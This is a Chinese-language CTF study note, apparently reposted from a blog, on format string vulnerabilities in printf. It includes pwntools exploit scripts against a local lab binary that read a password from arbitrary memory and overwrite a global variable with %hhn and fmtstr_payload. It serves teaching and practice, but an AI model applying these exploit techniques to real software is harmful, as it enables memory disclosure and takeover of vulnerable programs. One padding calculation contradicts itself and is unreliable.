Pwn_10 Format String Attack

printf(“%s %d %x”,str,n,addr)

格式化字符串漏洞

  • 错误的使用方式,直接将使用者的输入作为fmt使用
  • printf(str)

使用%x会造成栈上的信息泄露

可以使用 $ 来控制leak的位置

Use fmt:

  1. Read from arbitrary memory
  2. Write to arbitrary memory

读的话,我们可以读cancary 可以读实际地址 计算libc的基地址 不用再构造rop了

 


Read from arbitrary memory

首先确定 我的输入会在第几个出现?

输入aaaa %x…一大堆%x 然后数它

有了之后构造脚本

from pwn import *

r = remote('127.0.0.1',4000)

password_addr = 0x0804A048

r.recvuntil('?') #until ? I input

r.sendline(p32(password_addr)+'#'+'%10$s'+'#')

r.recvuntil('#')

print u32(r.recvuntil('#')[:4]) #u32解包只能4位4位的取

r.interactive()

这个就是我想要的地址的值,那么 如何提取它?↑看上面

最终脚本 实现任意地址的读

from pwn import *

r = remote('127.0.0.1',4000)

password_addr = 0x0804A048

r.recvuntil('?') #until ? I input

r.sendline(p32(password_addr)+'#'+'%10$s'+'#')

r.recvuntil('#')

pwd = u32(r.recvuntil('#')[:4])
r.recvuntil(':')
r.sendline(str(pwd))
r.interactive()


Write to arbitrary memory

Example

我要给x写入abcd,先写cd 再写 ab,写入时要注意前面的大小

  • 首先放入x变量地址
  • p(x_addr)+p32(x_addr+1)    一个地址是放 4 byte,第一个参数之前有两个地址
  • 写入0xcd = 205-8 =197 => %197c%1$hhn
  • 写入0xab = 171 – 205 +256 = 222 => %171c%2$hhn 

pwntools

Write a single address  @%7$

fmtstr_payload(7,{addr:value})

Write multiple address

fmtstr_payload(7,{addr1:value1,addr2:value2,…})

fmt的伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@3
  int v4; // edx@3
  char s; // [sp+Ch] [bp-40Ch]@1
  int v6; // [sp+40Ch] [bp-Ch]@1

  v6 = *MK_FP(__GS__, 20);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  fgets(&s, 1024, stdin);
  printf(&s); //这个地方有问题
  if ( x == 339117970 )
    puts("You get it!");
  result = 0;
  v4 = *MK_FP(__GS__, 20) ^ v6;
  return result;
}

 或者

 nm ./fmt

要知道x的地址 才能写入

from pwn import *

r = remote('127.0.0.1',4000)

x_addr = 0x0804A02C

r.sendline(fmtstr_payload(7,{x_addr:339117970}))

r.interactive()

原文地址:https://www.cnblogs.com/rookieDanny/p/8530950.html